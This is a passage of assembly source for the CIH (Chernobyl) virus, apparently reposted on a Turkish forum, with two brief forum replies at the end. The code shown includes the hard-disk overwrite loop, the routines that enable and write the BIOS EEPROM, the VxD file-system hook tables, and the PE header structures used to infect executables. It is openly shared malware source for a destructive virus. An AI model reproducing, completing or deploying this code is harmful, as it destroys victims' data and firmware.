                        mov     byte ptr [esi+4dh], FirstKillHardDiskNumber
                        jmp     LoopOfKillHardDisk
; ***************************
; * Enable EEPROM to Write  *
; ***************************
EnableEEPROMToWrite:
                        mov     [eax], cl
                        mov     [ecx], al
                        mov     byte ptr [eax], 80h
                        mov     [eax], cl
                        mov     [ecx], al
                        ret
; ***************************
; * IO for EEPROM           *
; ***************************
IOForEEPROM:
@10                     =       IOForEEPROM
                        xchg    eax, edi
                        xchg    edx, ebp
                        out     dx, eax
                        xchg    eax, edi
                        xchg    edx, ebp
                        in      al, dx
BooleanCalculateCode    =       $
                        or      al, 44h
                        xchg    eax, edi
                        xchg    edx, ebp
                        out     dx, eax
                        xchg    eax, edi
                        xchg    edx, ebp
                        out     dx, al
                        ret
; *********************************************************
; *                     Static Data                       *
; *********************************************************
LastVxDCallAddress      =       IFSMgr_Ring0_FileIO
VxDCallAddressTable     db      00h
                        db      IFSMgr_RemoveFileSystemApiHook-_PageAllocate
                        db      UniToBCSPath-IFSMgr_RemoveFileSystemApiHook
                        db      IFSMgr_Ring0_FileIO-UniToBCSPath
VxDCallIDTable          dd      00010053h, 00400068h, 00400041h, 00400032h
VxDCallTableSize        =       ($-VxDCallIDTable)/04h
; *********************************************************
; *                Virus Version Copyright                *
; *********************************************************
VirusVersionCopyright   db      'CIH v'
                        db      MajorVirusVersion+'0'
                        db      '.'
                        db      MinorVirusVersion+'0'
                        db      ' TTIT'
; *********************************************************
; *                     Virus Size                        *
; *********************************************************
VirusSize                       =       $
;                               + SizeOfVirusCodeSectionTableEndMark(04h)
;                               + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h)
;                               + SizeOfTheFirstVirusCodeSectionTable(04h)
; *********************************************************
; *                     Dynamic Data                      *
; *********************************************************
VirusGameDataStartAddress       =       VirusSize
@6                              =       VirusGameDataStartAddress
OnBusy                          db      0
FileModificationTime            dd      ?

FileNameBuffer          db      FileNameBufferSize dup(?)
@7                      =       FileNameBuffer

DataBuffer              =       $
@8                      =       DataBuffer
NumberOfSections        dw      ?
TimeDateStamp           dd      ?
SymbolsPointer          dd      ?
NumberOfSymbols         dd      ?
SizeOfOptionalHeader    dw      ?
_Characteristics        dw      ?
Magic                   dw      ?
LinkerVersion           dw      ?
SizeOfCode              dd      ?
SizeOfInitializedData   dd      ?
SizeOfUninitializedData dd      ?
AddressOfEntryPoint     dd      ?
BaseOfCode              dd      ?
BaseOfData              dd      ?
ImageBase               dd      ?
@9                      =       $
SectionAlignment        dd      ?
FileAlignment           dd      ?
OperatingSystemVersion  dd      ?
ImageVersion            dd      ?
SubsystemVersion        dd      ?
Reserved                dd      ?
SizeOfImage             dd      ?
SizeOfHeaders           dd      ?
SizeOfImageHeaderToRead         =       $-NumberOfSections

NewAddressOfEntryPoint  =       DataBuffer      ; DWORD
SizeOfImageHeaderToWrite        =       04h

StartOfSectionTable     =       @9
SectionName             =       StartOfSectionTable     ; QWORD
VirtualSize             =       StartOfSectionTable+08h ; DWORD
VirtualAddress          =       StartOfSectionTable+0ch ; DWORD
SizeOfRawData           =       StartOfSectionTable+10h ; DWORD
PointerToRawData        =       StartOfSectionTable+14h ; DWORD
PointerToRelocations    =       StartOfSectionTable+18h ; DWORD
PointerToLineNumbers    =       StartOfSectionTable+1ch ; DWORD
NumberOfRelocations     =       StartOfSectionTable+20h ; WORD
NumberOfLinenNmbers     =       StartOfSectionTable+22h ; WORD
Characteristics         =       StartOfSectionTable+24h ; DWORD
SizeOfScetionTable      =       Characteristics+04h-SectionName
; *********************************************************
; *             Virus Total Need Memory                   *
; *********************************************************
VirusNeedBaseMemory     =       $
VirusTotalNeedMemory    =       @9
;                               + NumberOfSections(??)*SizeOfScetionTable(28h)
;                               + SizeOfVirusCodeSectionTableEndMark(04h)
;                               + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h)
;                               + SizeOfTheFirstVirusCodeSectionTable(04h)
; *********************************************************
VirusGame               ENDS
                          END     FileHeader
       
                 © 2004, 62NDS Solutions Ltd.
current time: 2007.01.10 06:30 UCT


kolay gelsin.

Sessiz_cin
11-01-2007, 11:36   |  #11  
OP Taze Üye
Teşekkür Sayısı: 0
12 mesaj
Kayıt Tarihi:Kayıt: Oca 2007

Bide Bu kodları yazanları düşünün :)